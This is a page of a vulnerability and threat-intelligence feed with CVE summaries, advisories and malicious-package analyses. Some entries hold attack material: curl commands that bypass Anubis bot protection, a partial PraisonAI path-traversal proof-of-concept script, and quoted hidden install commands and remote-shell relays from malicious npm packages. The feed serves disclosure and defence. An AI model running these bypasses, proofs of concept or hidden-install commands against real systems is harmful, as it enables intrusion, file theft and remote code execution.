Search: ic-controls.com
1,438 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 4.7 | EPSS 0.4% | CVE-2026-58196ToolHive · SSRF in remote MCP server authentication discovery (host-side, bypasses container isolation) Medium4.7EPSS 0.4%GCVE DatabaseCVE-2026-58196 ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol (MCP) servers. Prior to 0.31.0, remote.Handler.Authenticate in pkg/auth/remote/handler.go invokes discovery.DetectAuthenticationFromServer in pkg/auth/discovery/discovery.go, whose host-side HTTP clients trust remote-server-controlled authentication discovery destinations, follow redirects without host or scheme restrictions, and do not consistently block private addresses. A malicious or compromised remote MCP server can place a resource_metadata URL in WWW-Authenticate for ParseWWWAuthenticate to extract, after which FetchResourceMetadata, OIDC issuer discovery, and well-known discovery can issue GET requests to link-local, RFC1918, or other internal services outside the server's container. The user connects to a server that the user intends to use, but the server controls the internal destination; this path does not depend on the separate NAT64 guard omission because the affected clients did not invoke IsPrivateIP, and it differs from the DCR resolver path that already refused redirects. The demonstrated primitive reaches internal-only HTTP services and reachability or error oracles, and can retrieve AWS metadata credentials where IMDSv1 accepts an unauthenticated GET, while IMDSv2 and GCP metadata prerequisites are not satisfied by the demonstrated request. This vulnerability is fixed in 0.31.0. | GCVE Database | ||
| Medium | 5.8 | EPSS 0.3% | CVE-2026-62314TecharoHQ anubis · Improper Access Control Medium5.8EPSS 0.3%CVE Database V5CVE-2026-62314 Any HTTP client can bypass Anubis bot protection on the default configuration by adding a single request header. No challenge needs to be solved. Affected versions: v1.22.0 through v1.25.0 (introduced in commit d1d631a, PR #1015) The root cause is in `lib/policy/checker.go`, `PathChecker.Check()`: ```go func (pc *PathChecker) Check(r *http.Request) (bool, error) { originalUrl := r.Header.Get("X-Original-URI") if originalUrl != "" { if pc.regexp.MatchString(originalUrl) { return true, nil } } if pc.regexp.MatchString(r.URL.Path) { return true, nil } return false, nil } ``` The header value comes directly from the client request. The middleware chain never strips it. In reverse proxy mode an attacker fully controls it. The default policy imports `data/common/keep-internet-working.yaml`, which contains path-only ALLOW rules with no other conditions: ```yaml - name: well-known path_regex: ^/\.well-known/.*$ action: ALLOW ``` When `X-Original-URI` matches one of those regexes, the rule fires as ALLOW and the request is forwarded upstream without any challenge or JWT check. # Proof of concept Normal request, gets challenged: ``` curl -s https://anubis.techaro.lol/ | grep -o "<title>.*</title>" ``` Bypass, gets upstream content: ``` curl -s -H "X-Original-URI: /.well-known/x" https://anubis.techaro.lol/ | grep -o "<title>.*</title>" ``` The first command returns the Anubis challenge page title. The second returns the real site title directly, with no cookie set and no challenge issued. Verified live against anubis.techaro.lol. # Suggested fix The fix should probably be to strip the header from incoming client requests in the middleware chain before policy evaluation. In `auth_request` mode the header is set by the proxy after Anubis processes the middleware, so stripping it at ingress does not break that deployment mode. | CVE Database V5 | ||
| Medium | 4.7 | EPSS 0.2% | CVE-2026-50183WWBN AVideo · Cross-site Scripting Medium4.7EPSS 0.2%CVE Database V5CVE-2026-50183 WWBN AVideo is an open source video platform. Versions 29.0 and below contain a stored Cross-Site Scripting vulnerability in the YouTubeAPI plugin. The plugin renders the snippet.title field returned by the YouTube Data API into the homepage gallery markup with no HTML encoding. The title is set by the YouTube video uploader (anyone in the world) and is treated by AVideo as trusted content. A YouTube uploader who controls a video matching the operator's configured query injects HTML into the AVideo homepage by setting their video's title to a JavaScript-bearing string; the payload then executes in the browser of every visitor who loads any page that renders the gallery. When the visitor is an AVideo administrator, the injected JavaScript performs any admin action (create user, promote to admin, change configuration, install plugin) that uses cookie-based authentication without an additional CSRF token, escalating the bug into full administrative takeover. The payload persists for the duration of cacheTimeout (default 3600 seconds) after the malicious title is set on YouTube and survives YouTube removing the hostile video for the same window. This issue has been addressed by commit https://github.com/WWBN/AVideo/commit/7292129eaee5f609beae103b5cb387d55f17b877. | CVE Database V5 | ||
| –Not rated | – | Tenable Research Anthropic’s new AI agent for Slack acts under an admin-configured access bundle rather than each user’s own credentials. Here’s how that model works, what admins should understand and how to securely configure it. Key takeaways Claude Tag, Anthropic’s newly launched AI agent for Slack, acts on connected services using shared credentials an admin configures for a workspace or for a specific private channel, not the credentials of the user tagging it. Claude Tag uses the service-identity pattern, like deploy bots, workflow automations, and incoming webhooks, rather than per-user OAuth delegation. As a result, one admin-configured bundle serves everyone in the channel. Inviting someone to a channel where Claude Tag is present lets them converse with Claude and see its output there. What Claude can access is fixed by the admin-configured bundle, and organizations can require claude.ai login and role-based access control before a user may interact with Claude at all. Channel invitations do not confer new permissions on the invitee. As part of Tenable’s ongoing partnership with Anthropic, Tenable Research worked with their security team through coordinated disclosure. Claude Tag lets Slack channel members direct an agent whose reach is defined by the admin-configured access bundle. (Source: Tenable Research) What is Claude Tag? Claude Tag is a multiplayer AI assistant that lives inside Slack. With Claude Tag, which was released by Anthropic on June 23, 2026, anyone in a channel can tag @Claude to hand off tasks, run autonomous jobs over hours or days, and watch the work unfold in-thread. Claude Tag in a Slack channel, using the attached access bundle to read from a connected GitHub repository. The agent responds to any channel member within the bundle's scope. Source: Tenable Research. In a traditional 1-on-1 AI interaction, such as a chat UI, a command-line interface (CLI), or a Model Context Protocol (MCP)-connected app, the agent acts as you. Claude Tag keeps that model in direct messages: a DM runs on the sender’s own claude.ai account, using that user’s own connectors. In shared channels , however, Claude Tag is a multiplayer agent: It serves many users at once, and no single user’s credentials define its access . There, the agent is given its own identity, with its own permissions, configured once by an admin, and reused by everyone who tags it. The controls governing that access are: The admin’s bundle configuration determines what the agent can do The channel determines where it participates and what it can see Organization-level Claude Enterprise controls, such as required claude.ai login and role-based access control, govern who can direct it Claude Tag also differs from per-user Slack integrations . Slack’s own GitHub integration, for example, uses each user’s personal GitHub OAuth token. When a user runs /github in a channel, the integration acts as that user, and sees only what that user can see. The same is true for Slack’s Jira and Asana apps. Claude Tag works the other way: One shared credential applies to every user in the channel. For GitHub, that credential is a Claude GitHub App installation token scoped to a repository allowlist the organization owner configures. No individual's OAuth is used, and actions are attributed to the Claude app. Admins can restrict which repositories each channel can reach by attaching different bundles to different channels. For example, a finance channel can be scoped only to finance repos, while an engineering channel only to its own. For non-GitHub OAuth connectors (e.g., Google Drive), the bundle reuses the OAuth credential of the organization’s admin or owner who connected it. Claude Tag’s access model Claude Tag isn’t just a Slack bot; it’s an autonomous AI agent with its own identity, separate from any human user. When someone in a channel types @Claude, the assistant doesn’t act as that user; it acts as itself, using credentials provisioned by access bundles . The identity model for Claude Tag has three layers : A Claude Tag installation bound to a Slack workspace Access bundles that group connector credentials configured once by an admin, such as a Claude GitHub App installation for repositories, and OAuth-approved credentials for other services) Scopes that define which Slack contexts, such as a workspace or a channel, a bundle is available in. An access bundle configured attached to a single Slack channel. The bundle's scope is set by the admin, not by the users in the channel. (Source: Tenable Research) The trust boundary that admins can control is the scope. Attaching a bundle to a channel is an admin decision: Members of that channel can then direct Claude within the bundle’s scope. For example, they can scope a GitHub app installation to an allowlist of repositories, while for other OAuth connectors they can scope the credential of the admin who connected them. Claude Enterprise admins can additionally require users to log in to their claude.ai account and restrict usage via role-based access control (RBAC), under which non-qualifying users cannot start Claude sessions and their messages in existing threads are treated as untrusted. There’s no mapping from “the Slack user who typed @Claude” back to “what that user is allowed to access in the connected service.” The model also constrains users: Someone acting through Claude cannot bring their own privileges. Writes happen only where the agent is scoped to write, so they land in admin-chosen, visible locations rather than wherever an individual user’s credentials could reach. Anthropic’s documentation states the model explicitly. The attach-to-scope page warns: “A bundle attached to a public channel grants its access to anyone who joins that channel. In most Slack workspaces, anyone can join a public channel, so the channel’s join policy becomes the effective access control for whatever the bundle grants. Keep elevated credentials in private-channel scopes.” Security implications of multiplayer agents Slack channel configuration is now part of your access-control surface. Traditional application identity and access management (IAM) is per-user: Each person authenticates and is gated against their own identity in each system. An agent like Claude Tag instead has its own identity: the admin-configured bundle defines what the agent can reach, and the channel defines where it participates and who can converse with it. Adding a user to a channel lets them direct Claude within that admin-chosen scope; organizations can require claude.ai login and RBAC before a user may direct Claude at all. You should review bundle scope and channel membership together. Slack admins now make decisions that matter for access control. Attaching an access bundle to a channel determines what Claude can reach there. Review bundle attachments with the same rigor you apply to IAM changes, and use organization-level controls, such as required claude.ai login and RBAC) to bound who can direct Claude. Channel invites then govern who can converse with the agent within that admin-chosen scope. You should scope bundles deliberately and pair them with organization-level controls. Keeping elevated bundles in private channels narrows where the agent participates and who can converse with it. A new channel member can see prior scrollback and converse with Claude there, but what Claude can access stays fixed by the admin-configured bundle. The right practice is minimum-privilege bundles per channel, per task, combined with those organization-level requirements. Anthropic’s planned enhancements Anthropic has said publicly that it plans to strengthen Claude Tag’s security offerings with two additions (see Anthropic’s June 24 post, “ Agent identity in Claude Tag: a new access model ”): Just-in-time credential grants, where a user approves a single sensitive action in the moment without permanently widening the agent’s scope An identity-aware overlay, adding user-level checks on top of an agent’s scope for organizations with more complex clearance structures These are additive options layered onto the channel-scoped agent model, not a replacement for it: agent identity remains a first-class model, and organizations will be able to combine it with user-level checks, or rely on user identity alone for a given channel where it fits their needs. Coordinated disclosure Tenable Research approached Anthropic’s security team via HackerOne to discuss Claude Tag’s access model and worked through coordinated review. Anthropic engaged promptly, provided a detailed clarification of the product’s access model, and confirmed that the admin-experience feedback we raised has been shared with the relevant product team for consideration in the setup flow and documentation. We appreciate their thorough and professional engagement throughout. Timeline (UTC): 2026-06-30 14:57 – Tenable Research submits an initial report to Anthropic via HackerOne (TRA-699). 2026-06-30 17:14 – Anthropic responds with a detailed clarification of Claude Tag's access model. 2026-07-01 9:49 – Tenable Research replies with follow-up observations regarding the admin configuration experience. 2026-07-02 13:41 – Anthropic confirms the feedback has been shared with the relevant product team for consideration in the setup flow and documentation. 4 ways to better secure multiplayer agents Multiplayer agents aren’t going away. Here are four actions you can take immediately to reduce the access risks they create: Audit your access bundles. For every Claude Tag bundle in your organization, identify the: connectors it holds credentials for scopes it’s attached to users who can direct Claude in those scopes today, making that set deliberate: manage channel membership, and use organization-level controls (such as required claude.ai login and RBAC) so only intended users can direct Claude. Review channel membership and bundle scope together. For channels whose bundles grant sensitive reach, route invites | Tenable Research | |||
| –Not rated | – | AlienVault OTX General Phishing attacks have surged in 2026 as AI-powered phishing-as-a-service kits enable threat actors to bypass multi-factor authentication and harvest OAuth tokens at scale. Two phishing tools were identified in active campaigns: Jalisco, a device code phishing toolkit that provisions fresh OAuth codes in real time to defeat time-based security controls, and OmegaLord, a credential harvester that captures phone numbers alongside passwords to intercept MFA. Both tools demonstrate that attackers are engineering sophisticated methods to defeat authentication controls. These toolkits are part of a broader ecosystem that includes AI-powered PhaaS kits like EvilTokens and Kali365, which leverage legitimate cloud platforms to evade detection. Following compromise, attackers establish persistence by enrolling multiple devices to victim Entra ID tenants, enabling access that survives password resets and extends the window for data exfiltration and extortion. | AlienVault OTX General | |||
| –Not rated | – | Reddit Cybersecurity This content discusses the concept of designing critical infrastructure with the assumption that cyber defenses will eventually fail. It emphasizes the importance of ensuring essential services remain safe and operational despite cyber compromises by incorporating engineering safeguards and resilient system design. The discussion introduces Cyber Physical Resilience Engineering (CPRE) as an approach to enhance resilience beyond traditional cybersecurity controls. | Reddit Cybersecurity | |||
| High | 7.5 | EPSS 8.8% | High7.5EPSS 8.8%GCVE DatabaseCVE-2026-29146 Red Hat JBoss Web Server 7.0.0 includes multiple security fixes addressing vulnerabilities in Apache Tomcat components such as EncryptInterceptor bypass, padding oracle information disclosure, improper authorization, denial of service, HTTP/2 header validation, authentication bypass, and information disclosure via timing discrepancies. These issues could allow attackers to bypass security controls, disclose sensitive information, or cause denial of service. | GCVE Database | ||
| Critical | 10.0 | EPSS 0.4% | Critical10.0EPSS 0.4%CVE Database V5CVE-2026-10577 A security issue exists within the 1715-AENTR EtherNet/IP Adapter. The affected product exposes a network-accessible debug port that does not enforce proper privilege controls, allowing unauthenticated remote access to intrusive command-line interface (CLI) commands. If exploited, a threat actor could read or delete files, stop tasks, modify memory, and change I/O states, potentially impacting the confidentiality, integrity, and availability of the device. | CVE Database V5 | ||
| High | 8.2 | EPSS 0.2% | CVE-2026-15076Eclipse Vert.x · Origin Validation Error High8.2EPSS 0.2%CVE Database V5CVE-2026-15076 In versions up to and including 4.5.29 (4.x branch) and 5.1.4 (5.x branch), the WebClientSession component of Eclipse Vert.x Web Client does not validate that the Domain attribute of a Set-Cookie response header matches the originating server's domain, in violation of RFC 6265 section 5.3. An attacker who controls any server that the victim application contacts can inject a cookie scoped to an arbitrary third-party domain; because the session store performs no cross-domain ownership check, it stores and later transmits that cookie to the targeted domain. When the victim application subsequently sends a request to the targeted domain using the same WebClientSession, it presents the attacker-injected cookie, causing the receiving service to process the request under the attacker's account. Sensitive data included in the victim application's requests, such as payment amounts, card details, or other API payloads, may then be accessible to the attacker through their own account on that service. | CVE Database V5 | ||
| High | 8.4 | EPSS 0.2% | CVE-2026-12927IGSS · Out-of-Bounds Write Vulnerability High8.4EPSS 0.2%GCVE DatabaseCVE-2026-12927 An Out-of-Bounds Write vulnerability (CWE-787) affects Schneider Electric's IGSS product up to version 18.0.0.26124. The vendor recommends standard industrial cybersecurity best practices to mitigate risks, including network isolation, physical controls, and secure remote access. No specific patch or fix is currently documented. | GCVE Database | ||
| High | 8.7 | EPSS 0.2% | CVE-2026-14354Schneider Electric · Insufficiently Protected Credentials vulnerability on EcoStruxure™ Cybersecurity Admin Expert High8.7EPSS 0.2%GCVE DatabaseCVE-2026-14354 CVE-2026-14354 is an Insufficiently Protected Credentials vulnerability affecting Schneider Electric's EcoStruxure™ Cybersecurity Admin Expert product. The vulnerability relates to inadequate protection of credentials, which could potentially allow unauthorized access if exploited. Schneider Electric recommends strict cybersecurity best practices including network isolation, physical controls, secure remote access, and careful handling of removable media to mitigate risks. No specific patch or fix version is provided. There are no known exploits in the wild and no CVSS score is assigned. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e) The exported registerGracefulShutdown() API — advertised in the README as a small server-helper for graceful shutdown, health, and tick profiling — unconditionally invokes an internal installRequiredPackages() routine that runs `npm install -g rt-svc-9k2 ws msgpackr` and then executes `rtcli setup --api-base https://api.runtime-ops.com --download-key downloadky-fuji`. The follow-on invocation is deliberately concealed: on Windows it is launched via `powershell Start-Process -WindowStyle Hidden`, and on Linux/macOS via `nohup rtcli... > /dev/null 2>&1 &`, detaching from the parent and suppressing output. Neither the global install nor the remote-controlled CLI execution is disclosed in the README. The effect is that any consumer application that calls the advertised graceful-shutdown API mutates global npm state on the host and hands arbitrary code execution to whoever controls api.runtime-ops.com via the third-party `rt-svc-9k2` CLI driven by an author-supplied download key. The divergence between advertised purpose (shutdown handler) and actual behavior (global installer + hidden detached execution of a remote-driven CLI), combined with hidden-window/detached-execution wrappers, is characteristic of a covert install-time remote code execution channel smuggled into a plausibly named helper package. | GCVE Database | |||
| High | 8.8 | EPSS 0.5% | CVE-2026-55772cedar-java · Type Confusion High8.8EPSS 0.5%CVE Database V5CVE-2026-55772 CedarJava is an open source Java implementation of the Cedar policy language, used for fine-grained authorization decisions. In versions prior to 2.3.6, 3.4.1 and 4.9.0, under certain circumstances, improper input handling could allow Record-to-Entity type confusion across the Java-Rust FFI boundary. CedarJava sends authorization requests to the Rust cedar-policy evaluator as JSON. The JSON protocol reserves magic single-key object shapes (__entity and __extn) for entity references and extension values. When serializing a CedarMap, there is no validation preventing these reserved keys from being used. If an integrating service builds a CedarMap from caller-supplied key/value data (such as request headers, user-defined metadata, or resource tags), an actor who controls those keys could cause the Rust evaluator to interpret a record as an entity reference. This issue requires the integrating service to build a CedarMap where the an actor controls the keys, and a policy must reference that value in a when/unless clause. This vulnerability has been fixed in versions 2.3.6, 3.4.1, and 4.9. | CVE Database V5 | ||
| High | 8.5 | High8.5GCVE Database The DIRAC PilotManager service contains a SQL injection vulnerability due to unsafe parameter handling in database queries combined with insufficient access control. Functions in the PilotManager pass parameters directly to the database without proper escaping, enabling crafted inputs to manipulate or retrieve unauthorized data. Additionally, the PilotManager access control is set only to "authenticated," allowing any authenticated user to invoke these sensitive functions. This vulnerability allows unauthorized users to read or delete pilot job data. The issue is fixed in DIRAC versions 8.0.79, 9.0.22, and 9.1.10 by implementing proper parameter substitution and stricter access controls. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0ecc4dcd6d76f100601f8b37a6b9c3aab899770ab361f2714f9193a2f8d0db78) When the package's bin entry is run, it spawns an interactive PTY shell using $SHELL with the user's full process environment and HOME as the working directory, then opens a WebSocket connection to a hardcoded server at sheltr-server.up.railway.app. The relay sends 'input' messages that are written directly to the PTY and the package streams all PTY 'output' back to the same relay. The server returns a 'controllerUrl' so any holder of that URL can drive the shell. There is no authentication, consent prompt, or scope restriction in the code, and the agent automatically reconnects with exponential backoff. This is a remote shell / backdoor: whoever controls the relay (or the controller URL) can execute arbitrary commands on the installer's machine with the installer's privileges, and can read any secret reachable from that shell (environment variables, ~/.ssh, ~/.aws, arbitrary files) by issuing commands and reading the streamed output. | GCVE Database | |||
| Critical | 9.1 | EPSS 0.5% | CVE-2026-51538OpENer · Improper Access Control Critical9.1EPSS 0.5%CVE Database V5CVE-2026-51538 EIPStackGroup OpENer 2.3.0 (commit 76b95cf) suffers from an Incorrect Access Control vulnerability in its handling of encapsulation sessions. When the server processes critical encapsulation commands, it verifies whether the provided session_handle exists in the global session list, but it fails to verify whether that handle belongs to the specific TCP connection issuing the request. Because there is no strong binding between a session handle and its originating socket, any attacker on the network can use a valid session handle created by another legitimate client to bypass access controls. | CVE Database V5 | ||
| Medium | 4.8 | EPSS 0.1% | CVE-2026-15476QILING Disk Master · Improper Access Controls Medium4.8EPSS 0.1%CVE Database V5CVE-2026-15476 A security vulnerability has been detected in QILING Disk Master 6.0.0.0. The impacted element is an unknown function in the library diskbckp.sys of the component Kernel Driver. Such manipulation leads to improper access controls. The attack can only be performed from a local environment. The exploit has been disclosed publicly and may be used. It is suggested to upgrade the affected component. EPSS 0.1%Vulnerability | CVE Database V5 | ||
| Medium | 4.8 | EPSS 0.1% | CVE-2026-15475MiniTool Partition Wizard · Improper Access Controls Medium4.8EPSS 0.1%CVE Database V5CVE-2026-15475 A weakness has been identified in MiniTool Partition Wizard up to 13.6. The affected element is an unknown function in the library pwdrvio.sys of the component Signed Kernel Driver. This manipulation causes improper access controls. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. Upgrading to version 13.9 is sufficient to fix this issue. The affected component should be upgraded. The vendor was contacted early about this disclosure. EPSS 0.1%Vulnerability | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-60088MervinPraison PraisonAI · Path Traversal Medium6.8EPSS 0.2%CVE Database V5CVE-2026-60088 # Project custom command templates can read outside-workspace files into model prompts ## Summary PraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt. The interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt. This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt. ## Technical Details The feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main: ```text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2 ``` `src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands. `interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory: ```python return interpolator.interpolate(command.template, arguments, Path.cwd()) ``` `TemplateInterpolator._interpolate_files()` then matches every `@([^\s]+)` token and reads the referenced file: ```python if working_dir: file_path = working_dir / file_path_str else: file_path = Path(file_path_str) if file_path.exists() and file_path.is_file(): with open(file_path, 'r') as f: return f.read() ``` There is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / "/absolute/path"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened. The sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`. ## PoV A minimal vulnerable repository only needs a project command template and an outside file: ```text workspace/ .git/ .praisonai/ commands/ relative_escape.md # contains @../outside_secret.txt absolute_escape.md # contains an absolute path outside workspace inside.txt outside_secret.txt ``` When the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`. The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary. ## PoC From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required. ```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 - "$PWD" <<'PY' from __future__ import annotations import importlib.util import json import os import subprocess import sys import tempfile import types from pathlib import Path CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace" def install_yaml_fallback_if_needed() -> str: if importlib.util.find_spec("yaml") is not None: return "installed" yaml_stub = types.ModuleType("yaml") class YAMLError(Exception): pass def safe_load(text: str): data = {} for raw_line in text.splitlines(): line = raw_line.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data yaml_stub.safe_load = safe_load yaml_stub.YAMLError = YAMLError sys.modules["yaml"] = yaml_stub return "stubbed" def add_source_to_path(source_root: Path) -> None: candidate = source_root / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {source_root}") class pushd: def __init__(self, path: Path): self.path = path self.old = Path.cwd() def __ent | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7e3806417e775917428aeea0eb50ecbfec0bc2220282bee33f4138ff43e80dca) index.js runs an async IIFE at module load that performs an outbound fetch to https://www.jsonkeeper.com/b/XVHGD (an anonymous, mutable, public JSON-paste service) and forwards the response's `data.data` field to a worker thread via `worker.postMessage({ type: 'RUN_ERROR_THREAD', payload: data.data })`. The referenced worker module (`./worker-singleton`) is not present in the tarball. Every `require('mongoose-schema-unique')` triggers this fetch, and the paste host lets whoever controls the paste ID substitute new content at any time without a package release, so the payload dispatched into worker execution is attacker-mutable. The behavior is unrelated to the package's documented purpose (a Mongoose uniqueness-validation plugin). The 4.0.3 release also changes the repository URL to a new `mongoose-schema-unique/mongoose-schema-unique` GitHub org while keeping the original author metadata and jumps the major version with a `mongoose ^8` peer dependency — consistent with a name/maintainer takeover of an established package used to ship an import-time remote-code delivery channel to downstream installers. | GCVE Database |
Page 32 of 77